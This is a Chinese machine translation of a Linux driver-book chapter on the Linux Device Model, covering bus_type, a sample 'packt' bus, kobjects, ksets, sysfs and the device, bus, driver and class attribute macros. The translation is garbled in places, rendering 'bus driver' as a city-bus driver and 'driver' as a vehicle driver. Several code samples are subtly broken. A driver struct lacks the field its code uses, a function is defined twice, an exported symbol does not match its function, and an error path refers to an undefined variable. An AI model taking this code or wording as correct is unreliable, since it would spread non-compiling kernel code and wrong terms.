总线支持。因此,总线控制器作为一个独立的设备,必须像任何设备一样进行注册。它将是需要坐在总线上的设备的父设备。换句话说,总线上的每台设备都必须有指向总线设备的父字段。总线在内核中由`struct bus_type`结构表示: - -```sh -struct bus_type { - const char *name; - const char *dev_name; - struct device *dev_root; - struct device_attribute *dev_attrs; /* use dev_groups instead */ - const struct attribute_group **bus_groups; - const struct attribute_group **dev_groups; - const struct attribute_group **drv_groups; - - int (*match)(struct device *dev, struct device_driver *drv); - int (*probe)(struct device *dev); - int (*remove)(struct device *dev); - void (*shutdown)(struct device *dev); - - int (*suspend)(struct device *dev, pm_message_t state); - int (*resume)(struct device *dev); - - const struct dev_pm_ops *pm; - - struct subsys_private *p; - struct lock_class_key lock_key; -}; -``` - -以下是结构中元素的含义: - -* `match`:这是一个回调,每当总线上添加了新的设备或驱动时都会调用。回调必须足够智能,并且当设备和驱动匹配时应该返回非零值,两者都作为参数给出。`match`回调的主要目的是允许总线确定给定的驱动或其他逻辑是否可以处理特定的设备,如果给定的驱动支持给定的设备。大多数情况下,验证是通过简单的字符串比较来完成的(设备和驱动名称,表和 DT 兼容属性)。对于枚举设备(PCI、USB),验证是通过将驱动支持的设备标识与给定设备的设备标识进行比较来完成的,而不会牺牲总线特定的功能。 -* `probe`:这是一个回调,当一个新的设备或驱动被添加到总线上,在匹配已经发生之后。该函数负责分配特定的总线设备结构,并调用给定驱动的`probe`函数,该函数应该管理设备(之前分配的)。 -* `remove`:当一个设备要从总线上移除时,这被调用。 -* `suspend`:这是总线上的设备需要进入睡眠模式时调用的方法。 -* `resume`:当总线上的设备必须退出睡眠模式时,这种情况被称为休眠。 -* `pm`:这是总线的一组电源管理操作,会调用特定设备驱动的`pm-ops`。 -* `drv_groups`:这是一个指向`struct attribute_group`元素列表(数组)的指针,每个元素都有一个指向`struct attribute`元素列表(数组)的指针。它代表总线上设备驱动的默认属性。传递到该字段的属性将被提供给在总线上注册的每个驾驶员。这些属性可以在`/sys/bus//drivers/`的驾驶员目录中找到。 -* `dev_groups`:表示总线上设备的默认属性。传递到该字段的属性(通过`struct attribute_group`元素的列表/数组)将被给予在总线上注册的每个设备。这些属性可以在`/sys/bus//devices/.`的设备目录中找到 -* `bus_group`:保存总线向核心注册时自动添加的默认属性集(组)。 - -除了定义`bus_type`之外,总线控制器驱动还必须定义扩展通用`struct device_driver`的总线专用驱动结构,以及扩展通用`struct device`结构的总线专用设备结构,这两者都是设备模型核心的一部分。总线驱动还必须为探测时发现的每个物理设备分配特定于总线的设备结构,并负责初始化设备的`bus`和`parent`字段,以及向 LDM 核注册设备。这些字段必须指向总线设备和总线驱动中定义的`bus_type`结构。LDM 核心使用它来构建设备层次结构并初始化其他字段。 - -在我们的示例中,下面是获取 packt 设备和 packt 驱动的两个助手宏,给定一个通用的`struct device`和`struct driver`: - -```sh -#define to_packt_driver(d) container_of(d, struct packt_driver, driver) -#define to_packt_device(d) container_of(d, struct packt_device, dev) -``` - -然后是用于识别 packt 设备的结构: - -```sh -struct packt_device_id { - char name[PACKT_NAME_SIZE]; - kernel_ulong_t driver_data; /* Data private to the driver */ -}; -``` - -以下是 packt 专用设备和驱动结构: - -```sh -/* - * Bus specific device structure - * This is what a packt device structure looks like - */ -struct packt_device { - struct module *owner; - unsigned char name[30]; - unsigned long price; - struct device dev; -}; - -/* - * Bus specific driver structure - * This is what a packt driver structure looks like - * You should provide your device's probe and remove function. - * may be release too - */ -struct packt_driver { - int (*probe)(struct packt_device *packt); - int (*remove)(struct packt_device *packt); - void (*shutdown)(struct packt_device *packt); -}; -``` - -每条总线内部管理两个重要列表;添加并驻留在其上的设备列表,以及向其注册的驱动列表。每当您在总线上添加/注册或删除/取消注册设备/驱动时,相应的列表都会用新条目进行更新。总线驱动必须提供帮助函数来注册/注销可以处理总线上的设备的设备驱动,以及注册/注销总线上的设备的帮助函数。这些辅助函数总是包装 LDM 核心提供的通用函数,它们是`driver_register()`、`device_register()`、`driver_unregister`和`device_unregister()`。 - -```sh -/* - * Now let us write and export symbols that people writing - * drivers for packt devices must use. - */ - -int packt_register_driver(struct packt_driver *driver) -{ - driver->driver.bus = &packt_bus_type; - return driver_register(&driver->driver); -} -EXPORT_SYMBOL(packt_register_driver); - -void packt_unregister_driver(struct packt_driver *driver) -{ - driver_unregister(&driver->driver); -} -EXPORT_SYMBOL(packt_unregister_driver); - -int packt_device_register(struct packt_device *packt) -{ - return device_register(&packt->dev); -} -EXPORT_SYMBOL(packt_device_register); - -void packt_unregister_device(struct packt_device *packt) -{ - device_unregister(&packt->dev); -} -EXPORT_SYMBOL(packt_device_unregister); -``` - -用于分配 packt 设备的功能如下。必须使用它来创建总线上任何物理设备的实例: - -```sh -/* - * This function allocate a bus specific device structure - * One must call packt_device_register to register - * the device with the bus - */ -struct packt_device * packt_device_alloc(const char *name, int id) -{ - struct packt_device *packt_dev; - int status; - - packt_dev = kzalloc(sizeof *packt_dev, GFP_KERNEL); - if (!packt_dev) - return NULL; - - /* new devices on the bus are son of the bus device */ - strcpy(packt_dev->name, name); - packt_dev->dev.id = id; - dev_dbg(&packt_dev->dev, - "device [%s] registered with packt bus\n", packt_dev->name); - - return packt_dev; - -out_err: - dev_err(&adap->dev, "Failed to register packt client %s\n", packt_dev->name); - kfree(packt_dev); - return NULL; -} -EXPORT_SYMBOL_GPL(packt_device_alloc); - -int packt_device_register(struct packt_device *packt) -{ - packt->dev.parent = &packt_bus; - packt->dev.bus = &packt_bus_type; - return device_register(&packt->dev); -} -EXPORT_SYMBOL(packt_device_register); -``` - -# 公共汽车登记 - -总线控制器本身就是一个设备,在 99%的情况下,总线是平台设备(甚至是提供枚举的总线)。例如,PCI 控制器是一个平台设备,其各自的驱动也是。为了向内核注册总线,必须使用`bus_register(struct *bus_type)`功能。packt 总线结构如下所示: - -```sh -/* - * This is our bus structure - */ -struct bus_type packt_bus_type = { - .name = "packt", - .match = packt_device_match, - .probe = packt_device_probe, - .remove = packt_device_remove, - .shutdown = packt_device_shutdown, -}; -``` - -总线控制器本身就是一个设备,它必须向内核注册,并将被用作位于总线上的设备的父设备。这是在总线控制器的`probe`或`init`功能中完成的。对于 packt 总线,代码如下: - -```sh -/* - * Bus device, the master. - * - */ -struct device packt_bus = { - .release = packt_bus_release, - .parent = NULL, /* Root device, no parent needed */ -}; - -static int __init packt_init(void) -{ - int status; - status = bus_register(&packt_bus_type); - if (status < 0) - goto err0; - - status = class_register(&packt_master_class); - if (status < 0) - goto err1; - - /* - * After this call, the new bus device will appear - * under /sys/devices in sysfs. Any devices added to this - * bus will shows up under /sys/devices/packt-0/. - */ - device_register(&packt_bus); - - return 0; - -err1: - bus_unregister(&packt_bus_type); -err0: - return status; -} -``` - -当设备由总线控制器驱动注册时,设备的父成员必须指向总线控制器设备,并且其总线属性必须指向总线类型以构建物理 DT。要注册 packt 设备,必须调用`packt_device_register`,作为分配给`packt_device_alloc`的参数: - -```sh -int packt_device_register(struct packt_device *packt) -{ - packt->dev.parent = &packt_bus; - packt->dev.bus = &packt_bus_type; - return device_register(&packt->dev); -} -EXPORT_SYMBOL(packt_device_register); -``` - -# 设备驱动 - -全局设备层次结构允许系统中的每个设备以通用方式表示。这使得内核可以轻松地遍历 DT,创建适当有序的电源管理过渡: - -```sh -struct device_driver { - const char *name; - struct bus_type *bus; - struct module *owner; - - const struct of_device_id *of_match_table; - const struct acpi_device_id *acpi_match_table; - - int (*probe) (struct device *dev); - int (*remove) (struct device *dev); - void (*shutdown) (struct device *dev); - int (*suspend) (struct device *dev, pm_message_t state); - int (*resume) (struct device *dev); - const struct attribute_group **groups; - - const struct dev_pm_ops *pm; -}; -``` - -`struct device_driver`为核心定义一组简单的操作,以便在每个设备上执行这些操作: - -* `* name`代表驾驶员姓名。通过与设备名称进行比较,它可以用于匹配。 -* `* bus`代表司机乘坐的公交车。公共汽车司机必须填写这个字段。 -* `module`表示拥有驱动的模块。在 99%的情况下,应该将该字段设置为`THIS_MODULE`。 -* `of_match_table`是指向`struct of_device_id`数组的指针。`struct of_device_id`结构用于通过一个名为 DT 的特殊文件执行 OF 匹配,该文件在引导过程中被传递给内核: - -```sh -struct of_device_id { - char compatible[128]; - const void *data; -}; -``` - -* `suspend`和`resume`回调提供电源管理功能。当设备从系统中物理移除时,或者当其参考计数达到`0`时,调用`remove`回调。`remove`回调也在系统重启期间调用。 -* `probe`是尝试将驱动绑定到设备时运行的探测回调。总线驱动负责调用设备驱动的`probe`功能。 -* `group`是指向`struct attribute_group`列表(数组)的指针,用作驱动的默认属性。使用此方法,而不是单独创建属性。 - -# 设备驱动注册 - -`driver_register()`是用于向总线注册设备驱动的低级功能。它将驾驶员添加到公共汽车的驾驶员列表中。当设备驱动注册到总线时,内核遍历总线的设备列表,并为每个没有相关驱动的设备调用总线的匹配回调,以便找出驱动是否可以处理任何设备。 - -当匹配发生时,设备和设备驱动绑定在一起。将设备与设备驱动相关联的过程称为绑定。 - -现在回到司机注册我们的 packt 巴士,必须使用`packt_register_driver(struct packt_driver *driver)`,这是`driver_register()`的包装。在注册 packt 驱动之前,必须填写`*driver`参数。LDM 内核提供了帮助函数,用于遍历向总线注册的驱动列表: - -```sh -int bus_for_each_drv(struct bus_type * bus, - struct device_driver * start, - void * data, int (*fn)(struct device_driver *, - void *)); -``` - -这个助手遍历总线的驱动列表,并为列表中的每个驱动调用`fn`回调。 - -# 设备 - -结构设备是用于描述和表征系统上每个设备的通用数据结构,无论它是否是物理设备。它包含有关设备物理属性的详细信息,并提供适当的链接信息来构建合适的设备树和参考计数: - -```sh -struct device { - struct device *parent; - struct kobject kobj; - const struct device_type *type; - struct bus_type *bus; - struct device_driver *driver; - void *platform_data; - void *driver_data; - struct device_node *of_node; - struct class *class; - const struct attribute_group **groups; - void (*release)(struct device *dev); -}; -``` - -* `* parent`代表设备的父设备,用于构建设备树层次结构。当向总线注册时,总线驱动负责向总线设备设置该字段。 -* `* bus`代表设备所在的总线。公共汽车司机必须填写这个字段。 -* `* type`标识设备类型。 - -* `kobj`是句柄引用计数和设备模型支持中的 kobject。 -* `* of_node`是指向与设备相关联的 OF (DT)节点的指针。由公共汽车司机来设置这个字段。 -* `platform_data`是设备专用平台数据的指针。通常在设备供应期间在特定于板的文件中声明。 -* `driver_data`是驱动私有数据的指针。 -* `class`是设备所属类的指针。 -* `* group`是指向`struct attribute_group`列表(数组)的指针,用作设备的默认属性。使用此方法,而不是单独创建属性。 -* `release`是当设备引用计数达到零时调用的回调。公交有责任设置该字段。packt 公共汽车司机向您展示了如何做到这一点。 - -# 设备注册 - -`device_register`是 LDM 核提供的向总线注册设备的功能。在这个调用之后,驱动的总线列表被迭代以找到支持这个设备的驱动,然后这个设备被添加到总线的设备列表中。`device_register()`内部通话`device_add()`: - -```sh -int device_add(struct device *dev) -{ - [...] - bus_probe_device(dev); - if (parent) - klist_add_tail(&dev->p->knode_parent, - &parent->p->klist_children); - [...] -} -``` - -内核提供的迭代总线设备列表的助手函数是`bus_for_each_dev`: - -```sh -int bus_for_each_dev(struct bus_type * bus, - struct device * start, void * data, - int (*fn)(struct device *, void *)); -``` - -每当添加设备时,内核都会调用总线驱动的匹配方法(`bus_type->match`)。如果匹配函数表示该设备有驱动,内核将调用总线驱动(`bus_type->probe`)的`probe`功能,给定设备和驱动作为参数。然后由总线驱动调用设备驱动的`probe`方法(`driver->probe`)。对于我们的 packt 总线驱动,用来注册设备的函数是`packt_device_register(struct packt_device *packt)`,内部调用`device_register`,其中参数是一个分配了`packt_device_alloc`的 packt 设备。 - -# 在 LDM 的深处 - -木头下面的 LDM 依赖于三个重要的结构,它们是 kobj,kobj_type 和 kset。让我们看看这些结构是如何包含在设备模型中的。 - -# 对象结构 - -kobject 是设备模型的核心,在幕后运行。它给内核带来了一种类似 OO 的编程风格,主要用于引用计数和公开设备层次以及它们之间的关系。kobjects 引入了通用对象属性封装的概念,例如使用引用计数: - -```sh -struct kobject { - const char *name; - struct list_head entry; - struct kobject *parent; - struct kset *kset; - struct kobj_type *ktype; - struct sysfs_dirent *sd; - struct kref kref; - /* Fields out of our interest have been removed */ -}; -``` - -* `name`指向这个 kobject 的名称。您可以使用`kobject_set_name(struct kobject *kobj, const char *name)`功能对此进行更改。 -* `parent`是指向这个 kobject 的父对象的指针。它用于构建一个层次结构来描述对象之间的关系。 -* `sd`指向一个`struct sysfs_dirent`结构,该结构表示 sysfs 结构内部 sysfs 索引节点中的这个 kobject。 -* `kref`提供对 kobject 的引用计数。 -* `ktype`描述对象,`kset`告诉我们这个对象属于哪一组(组)对象。 - -嵌入 kobject 的每个结构都被嵌入并接收 kobject 提供的标准化函数。嵌入的 ko object 将使该结构成为对象层次结构的一部分。 - -`container_of`宏用于获取 kobject 所属对象的指针。每个内核设备都直接或间接嵌入一个 kobject 属性。在添加到系统之前,必须使用`kobject_create()`函数分配 koobject,该函数将返回一个空 koobject,必须使用`kobj_init()`初始化该 koobject,给定已分配和未初始化的 koobject 指针及其`kobj_type`指针作为参数: - -```sh -struct kobject *kobject_create(void) -void kobject_init(struct kobject *kobj, struct kobj_type *ktype) -``` - -`kobject_add()`功能用于向系统添加和链接一个 kobject,同时根据其层次结构和默认属性创建其目录。反向功能为`kobject_del()`: - -```sh -int kobject_add(struct kobject *kobj, struct kobject *parent, - const char *fmt, ...); -``` - -`kobject_create`和`kobject_add`的反函数都是`kobject_put`。在随书提供的源代码中,将 kobject 与系统联系起来的摘录如下: - -```sh -/* Somewhere */ -static struct kobject *mykobj; - -mykobj = kobject_create(); - if (mykobj) { - kobject_init(mykobj, &mytype); - if (kobject_add(mykobj, NULL, "%s", "hello")) { - err = -1; - printk("ldm: kobject_add() failed\n"); - kobject_put(mykobj); - mykobj = NULL; - } - err = 0; - } -``` - -人们可以使用`kobject_create_and_add`,内部称之为`kobject_create and kobject_add`。`drivers/base/core.c`下面的摘录展示了如何使用它: - -```sh -static struct kobject * class_kobj = NULL; -static struct kobject * devices_kobj = NULL; - -/* Create /sys/class */ -class_kobj = kobject_create_and_add("class", NULL); - -if (!class_kobj) { - return -ENOMEM; -} - -/* Create /sys/devices */ -devices_kobj = kobject_create_and_add("devices", NULL); - -if (!devices_kobj) { - return -ENOMEM; -} -``` - -If a kobject has a `NULL` parent, then `kobject_add` sets parent to kset. If both are `NULL`, object becomes a child-member of the top-level sys directory - -# kobj _ 类型 - -一个`struct kobj_type`结构描述了对象的行为。`kobj_type`结构描述了通过`ktype`字段嵌入 kobject 的对象类型。每一个嵌入 koobject 的结构都需要一个对应的`kobj_type`,它将控制 koobject 被创建和销毁时以及属性被读取或写入时会发生什么。每个 kobject 都有一个类型为`struct kobj_type`的字段,代表**内核对象类型**: - -```sh -struct kobj_type { - void (*release)(struct kobject *); - const struct sysfs_ops sysfs_ops; - struct attribute **default_attrs; -}; -``` - -一个`struct kobj_type`结构允许内核对象共享共同的操作(`sysfs_ops`),不管这些对象在功能上是否相关。这种结构的字段足够有意义。`release`是一个回调函数,当你的对象需要被释放时,它会被`kobject_put()`函数调用。你必须在这里释放你的对象持有的内存。可以使用`container_of`宏来获取指向对象的指针。`sysfs_ops`字段指向 sysfs 操作,而`default_attrs`定义了与此 kobject 关联的默认属性。`sysfs_ops`是访问 sysfs 属性时调用的一组回调(sysfs 操作)。`default_attrs`是一个指向`struct attribute`元素列表的指针,这些元素将用作该类型每个对象的默认属性: - -```sh -struct sysfs_ops { - ssize_t (*show)(struct kobject *kobj, - struct attribute *attr, char *buf); - ssize_t (*store)(struct kobject *kobj, - struct attribute *attr,const char *buf, - size_t size); -}; -``` - -`show`是读取任何具有此`kobj_type`的 kobject 的属性时调用的回调。缓冲区的长度总是`PAGE_SIZE`,即使要显示的值是简单的`char`。应该设置`buf`的值(使用`scnprintf`,成功时返回实际写入缓冲区的数据大小(以字节为单位),失败时返回负错误。`store`用于写目的。其`buf`参数最多`PAGE_SIZE`但可以小一些。它返回成功时从缓冲区实际读取的数据大小(以字节为单位)或失败时的负错误(或者如果收到不需要的值)。可以使用`get_ktype`获取给定对象的`kobj_type`: - -```sh -struct kobj_type *get_ktype(struct kobject *kobj); -``` - -在书中的例子中,我们的`k_type`变量代表我们的 kobject 的类型: - -```sh -static struct sysfs_ops s_ops = { - .show = show, - .store = store, -}; - -static struct kobj_type k_type = { - .sysfs_ops = &s_ops, - .default_attrs = d_attrs, -}; -``` - -这里`show`和`store`回调的定义如下: - -```sh -static ssize_t show(struct kobject *kobj, struct attribute *attr, char *buf) -{ - struct d_attr *da = container_of(attr, struct d_attr, attr); - printk( "LDM show: called for (%s) attr\n", da->attr.name ); - return scnprintf(buf, PAGE_SIZE, - "%s: %d\n", da->attr.name, da->value); -} - -static ssize_t store(struct kobject *kobj, struct attribute *attr, const char *buf, size_t len) -{ - struct d_attr *da = container_of(attr, struct d_attr, attr); - sscanf(buf, "%d", &da->value); - printk("LDM store: %s = %d\n", da->attr.name, da->value); - - return sizeof(int); -} -``` - -# ksets - -**内核对象集**(**kset**)主要是将相关的内核对象组合在一起。ksets 是 kobjects 的集合。换句话说,kset 将相关的 kobjects 收集到一个地方,例如所有块设备: - -```sh -struct kset { - struct list_head list; - spinlock_t list_lock; - struct kobject kobj; - }; -``` - -* `list`是 kset 中所有 kobjects 的链表 -* `list_lock`是保护链表访问的自旋锁 -* `kobj`表示集合的基类 - -每个注册的(添加到系统中的)kset 对应一个 sysfs 目录。可以使用`kset_create_and_add()`功能创建和添加 kset,使用`kset_unregister()`功能删除 kset: - -```sh -struct kset * kset_create_and_add(const char *name, - const struct kset_uevent_ops *u, - struct kobject *parent_kobj); -void kset_unregister (struct kset * k); -``` - -向集合中添加 kobject 就像在右侧 kset 中指定其 kset 字段一样简单: - -```sh -static struct kobject foo_kobj, bar_kobj; - -example_kset = kset_create_and_add("kset_example", NULL, kernel_kobj); -/* - * since we have a kset for this kobject, - * we need to set it before calling the kobject core. - */ -foo_kobj.kset = example_kset; -bar_kobj.kset = example_kset; - -retval = kobject_init_and_add(&foo_kobj, &foo_ktype, - NULL, "foo_name"); -retval = kobject_init_and_add(&bar_kobj, &bar_ktype, - NULL, "bar_name"); -``` - -现在在模块`exit`功能中,在 kobject 及其属性被移除后: - -```sh -kset_unregister(example_kset); -``` - -# 属性 - -属性是由 kobjects 导出到用户空间的 sysfs 文件。属性表示可以从用户空间读取、写入或同时读取和写入的对象属性。也就是说,每个嵌入结构 koobject 的数据结构都可以公开 koobject 本身提供的默认属性(如果有的话),或者自定义属性。换句话说,属性将内核数据映射到 sysfs 中的文件。 - -属性定义如下所示: - -```sh -struct attribute { - char * name; - struct module *owner; - umode_t mode; -}; -``` - -用于在文件系统中添加/删除属性的内核函数有: - -```sh -int sysfs_create_file(struct kobject * kobj, - const struct attribute * attr); -void sysfs_remove_file(struct kobject * kobj, - const struct attribute * attr); -``` - -让我们尝试定义将导出的两个属性,每个属性由一个属性表示: - -```sh -struct d_attr { - struct attribute attr; - int value; -}; - -static struct d_attr foo = { - .attr.name="foo", - .attr.mode = 0644, - .value = 0, -}; - -static struct d_attr bar = { - .attr.name="bar", - .attr.mode = 0644, - .value = 0, -}; -``` - -要单独创建每个枚举属性,我们必须调用以下内容: - -```sh -sysfs_create_file(mykobj, &foo.attr); -sysfs_create_file(mykobj, &bar.attr); -``` - -从属性开始的好地方是内核源码中的`samples/kobject/kobject-example.c`。 - -# 属性组 - -到目前为止,我们已经看到了如何单独添加属性并在每个属性上调用(直接或间接通过包装函数,如`device_create_file()`、`class_create_file()`等)`sysfs_create_file()`。如果我们能打一次电话,为什么还要打多次呢?这里是属性组的来源。它依赖于`struct attribute_group`结构: - -```sh -struct attribute_group { - struct attribute **attrs; -}; -``` - -当然,我们已经删除了不感兴趣的字段。`attr` s 字段是指向`NULL`终止属性列表的指针。每个属性组必须有一个指向`struct attribute`元素列表/数组的指针。组只是一个帮助器包装器,使管理多个属性变得更加容易。 - -用于向文件系统添加/删除组属性的内核函数有: - -```sh -int sysfs_create_group(struct kobject *kobj, - const struct attribute_group *grp) -void sysfs_remove_group(struct kobject * kobj, - const struct attribute_group * grp) -``` - -前面定义的两个属性可以嵌入到一个`struct attribute_group`中,只需调用一次就可以将它们都添加到系统中: - -```sh -static struct d_attr foo = { - .attr.name="foo", - .attr.mode = 0644, - .value = 0, -}; - -static struct d_attr bar = { - .attr.name="bar", - .attr.mode = 0644, - .value = 0, -}; - -/* attrs is a pointer to a list (array) of attributes */ -static struct attribute * attrs [] = -{ - &foo.attr, - &bar.attr, - NULL, -}; - -static struct attribute_group my_attr_group = { - .attrs = attrs, -}; -``` - -这里唯一需要调用的函数是: - -```sh -sysfs_create_group(mykobj, &my_attr_group); -``` - -这比调用每个属性要好得多。 - -# 设备模型和 sysfs - -`Sysfs`是一个非持久的虚拟文件系统,它提供了系统的全局视图,并通过内核对象的 kobjects 公开了内核对象的层次结构(拓扑)。每个 kobjects 显示为一个目录,目录中的文件表示内核变量,由相关的 kobject 导出。这些文件称为属性,可以读取或写入。 - -如果任何注册的 koobject 在 sysfs 中创建了一个目录,那么创建目录的位置取决于 koobject 的父对象(它也是一个 koobject)。很自然,目录是作为 kobject 父目录的子目录创建的。这突出了用户空间的内部对象层次结构。sysfs 中的顶级目录代表对象层次结构的公共祖先,即对象所属的子系统。 - -顶级 sysfs 目录可以在`/sys/`目录下找到: - -```sh - /sys$ tree -L 1 - ├── block - ├── bus - ├── class - ├── dev - ├── devices - ├── firmware - ├── fs - ├── hypervisor - ├── kernel - ├── module - └── power - -``` - -`block`包含系统上每个块设备的目录,每个目录包含设备上分区的子目录。`bus`包含系统上已注册的总线。`dev`包含以原始方式注册的设备节点(没有层次结构),每个节点都是`/sys/devices`目录中真实设备的符号链接。`devices`给出系统中设备的拓扑视图。`firmware`显示了系统特定的低级子系统树,如:ACPI、电喷、OF (DT)。`fs`列出系统上实际使用的文件系统。`kernel`保存内核配置选项和状态信息。`Modules`是已加载模块的列表。 - -这些目录中的每一个都对应一个 kobject,其中一些被导出为内核符号。这些是: - -* `kernel_kobj`对应`/sys/kernel` -* `power_kobj`为`/sys/power` -* `firmware_kobj`代表`/sys/firmware`,在`drivers/base/firmware.c`源文件中导出 -* `hypervisor_kobj`为`/sys/hypervisor`,出口于`drivers/base/hypervisor.c` -* `fs_kobj`对应于`/sys/fs`,在`fs/namespace.c`文件中导出 - -但是,`class/`、`dev/`、`devices/`是在引导时通过内核源码中`drivers/base/core.c`的`devices_init`函数创建的,`block/`是在`block/genhd.c`中创建的,`bus/`是在`drivers/base/bus.c`中作为 kset 创建的。 - -当一个 koobject 目录被添加到 sysfs(使用`kobject_add`)时,它的添加位置取决于 koobject 的父位置。如果设置了父指针,它将作为子目录添加到父目录中。如果父指针为空,则添加为`kset->kobj`内的子目录。如果既没有设置父字段也没有设置 kset 字段,它将映射到 sysfs *( `/sys`* )中的根目录。 - -可以使用`sysfs_{create|remove}_link`功能在现有对象(目录)上创建/删除符号链接: - -```sh -int sysfs_create_link(struct kobject * kobj, - struct kobject * target, char * name); -void sysfs_remove_link(struct kobject * kobj, char * name); -``` - -这将允许一个对象存在于多个位置。创建函数将创建一个名为`name`的符号链接,指向`target`koobject sysfs 条目。一个众所周知的例子是出现在`/sys/bus`和`/sys/devices`的设备。创建的符号链接即使在`target`移除后也将保持不变。你要知道`target`什么时候拆下,然后拆下对应的符号链接。 - -# Sysfs 文件和属性 - -现在我们知道默认文件集是通过 kobjects 和 kset 中的 ktype 字段,通过`kobj_type`的`default_attrs`字段提供的。在大多数情况下,默认属性就足够了。但是有时一个 ktype 的实例可能需要它自己的属性来提供数据或功能,而不是一个更一般的 ktype 所共享的。 - -回想一下,用于在默认设置上添加/删除新属性(或属性组)的低级功能是: - -```sh -int sysfs_create_file(struct kobject *kobj, - const struct attribute *attr); -void sysfs_remove_file(struct kobject *kobj, - const struct attribute *attr); -int sysfs_create_group(struct kobject *kobj, - const struct attribute_group *grp); -void sysfs_remove_group(struct kobject * kobj, - const struct attribute_group * grp); -``` - -# 当前接口 - -sysfs 中当前存在接口层。除了创建自己的 ktype 或 kobject 来添加属性之外,您还可以使用当前存在的属性:设备、驱动、总线和类属性。他们的描述如下: - -# 设备属性 - -除了设备结构中嵌入的 kobject 提供的默认属性之外,您还可以创建自定义属性。用于此目的的结构是`struct device_attribute`,它只不过是围绕标准`struct attribute`的一个包装,以及一组显示/存储属性值的回调: - -```sh -struct device_attribute { - struct attribute attr; - ssize_t (*show)(struct device *dev, - struct device_attribute *attr, - char *buf); - ssize_t (*store)(struct device *dev, - struct device_attribute *attr, - const char *buf, size_t count); -}; -``` - -他们的声明是通过`DEVICE_ATTR`宏完成的: - -```sh -DEVICE_ATTR(_name, _mode, _show, _store); -``` - -每当您使用`DEVICE_ATTR`声明设备属性时,前缀`dev_attr_`会添加到属性名称中。例如,如果您使用设置为 foo 的`_name`参数声明一个属性,该属性将可以通过`dev_attr_foo`变量名访问。 - -为了理解为什么,让我们看看`include/linux/device.h`中`DEVICE_ATTR`宏是如何定义的: - -```sh -#define DEVICE_ATTR(_name, _mode, _show, _store) \ - struct device_attribute dev_attr_##_name = __ATTR(_name, _mode, _show, _store) -``` - -最后,您可以使用`device_create_file`和`device_remove_file`功能添加/删除这些: - -```sh -int device_create_file(struct device *dev, - const struct device_attribute * attr); -void device_remove_file(struct device *dev, - const struct device_attribute * attr); -``` - -下面的示例演示了如何将所有这些放在一起: - -```sh -static ssize_t foo_show(struct device *child, - struct device_attribute *attr, char *buf) -{ - return sprintf(buf, "%d\n", foo_value); -} - -static ssize_t bar_show(struct device *child, - struct device_attribute *attr, char *buf) -{ - return sprintf(buf, "%d\n", bar_value); -} -``` - -以下是属性的静态声明: - -```sh -static DEVICE_ATTR(foo, 0644, foo_show, NULL); -static DEVICE_ATTR(bar, 0644, bar_show, NULL); -``` - -以下代码显示了如何在系统上实际创建文件: - -```sh -if ( device_create_file(dev, &dev_attr_foo) != 0 ) - /* handle error */ - -if ( device_create_file(dev, &dev_attr_bar) != 0 ) - /* handle error*/ -``` - -对于清理,属性移除在移除功能中完成,如下所示: - -```sh -device_remove_file(wm->dev, &dev_attr_foo); -device_remove_file(wm->dev, &dev_attr_bar); -``` - -您可能想知道,我们过去是如何以及为什么为同一 koobject/kt type 的所有属性定义相同的存储/显示回调集的,现在,我们为每个属性使用一个自定义回调集。第一个原因是因为,设备子系统定义了自己的属性结构,它包装了标准的属性结构,其次,它不是显示/存储属性的值,而是使用`container_of`宏提取`struct device_attribute`给出一个通用的`struct attribute`,然后根据用户的动作执行显示/存储回调。以下是`drivers/base/core.c`的摘录,显示了设备对象的`sysfs_ops`: - -```sh -static ssize_t dev_attr_show(struct kobject *kobj, - struct attribute *attr, - char *buf) -{ - struct device_attribute *dev_attr = to_dev_attr(attr); - struct device *dev = kobj_to_dev(kobj); - ssize_t ret = -EIO; - - if (dev_attr->show) - ret = dev_attr->show(dev, dev_attr, buf); - if (ret >= (ssize_t)PAGE_SIZE) { - print_symbol("dev_attr_show: %s returned bad count\n", - (unsigned long)dev_attr->show); - } - return ret; -} - -static ssize_t dev_attr_store(struct kobject *kobj, struct attribute *attr, - const char *buf, size_t count) -{ - struct device_attribute *dev_attr = to_dev_attr(attr); - struct device *dev = kobj_to_dev(kobj); - ssize_t ret = -EIO; - - if (dev_attr->store) - ret = dev_attr->store(dev, dev_attr, buf, count); - return ret; -} - -static const struct sysfs_ops dev_sysfs_ops = { - .show = dev_attr_show, - .store = dev_attr_store, -}; -``` - -公交(在`drivers/base/bus.c`)、司机(在`drivers/base/bus.c`)和班级(在`drivers/base/class.c`)属性的原理是一样的。他们使用`container_of`宏提取自己特定的属性结构,然后调用嵌入其中的 show/store 回调。 - -# 总线属性 - -它依赖于`struct bus_attribute`结构: - -```sh -struct bus_attribute { - struct attribute attr; - ssize_t (*show)(struct bus_type *, char * buf); - ssize_t (*store)(struct bus_type *, const char * buf, size_t count); -}; -``` - -总线属性使用`BUS_ATTR`宏声明: - -```sh -BUS_ATTR(_name, _mode, _show, _store) -``` - -使用`BUS_ATTR`声明的任何总线属性都将前缀`bus_attr_`添加到属性变量名中: - -```sh -#define BUS_ATTR(_name, _mode, _show, _store) \ -struct bus_attribute bus_attr_##_name = __ATTR(_name, _mode, _show, _store) -``` - -使用`bus_{create|remove}_file`功能创建/删除它们: - -```sh -int bus_create_file(struct bus_type *, struct bus_attribute *); -void bus_remove_file(struct bus_type *, struct bus_attribute *); -``` - -# 设备驱动属性 - -使用的结构为`struct driver_attribute`: - -```sh -struct driver_attribute { - struct attribute attr; - ssize_t (*show)(struct device_driver *, char * buf); - ssize_t (*store)(struct device_driver *, const char * buf, - size_t count); -}; -``` - -该声明依赖于`DRIVER_ATTR`宏,该宏将以`driver_attr_`作为属性变量名的前缀: - -```sh -DRIVER_ATTR(_name, _mode, _show, _store) -``` - -宏观定义是: - -```sh -#define DRIVER_ATTR(_name, _mode, _show, _store) \ -struct driver_attribute driver_attr_##_name = __ATTR(_name, _mode, _show, _store) -``` - -创建/删除依赖于`driver_{create|remove}_file`功能: - -```sh -int driver_create_file(struct device_driver *, - const struct driver_attribute *); -void driver_remove_file(struct device_driver *, - const struct driver_attribute *); -``` - -# 类别属性 - -`struct class_attribute`是基础结构: - -```sh -struct class_attribute { - struct attribute attr; - ssize_t (*show)(struct device_driver *, char * buf); - ssize_t (*store)(struct device_driver *, const char * buf, - size_t count); -}; -``` - -类属性的声明依赖于`CLASS_ATTR`: - -```sh -CLASS_ATTR(_name, _mode, _show, _store) -``` - -正如宏的定义所示,任何用`CLASS_ATTR`声明的类属性都将前缀`class_attr_`添加到属性变量名中: - -```sh -#define CLASS_ATTR(_name, _mode, _show, _store) \ -struct class_attribute class_attr_##_name = __ATTR(_name, _mode, _show, _store) -``` - 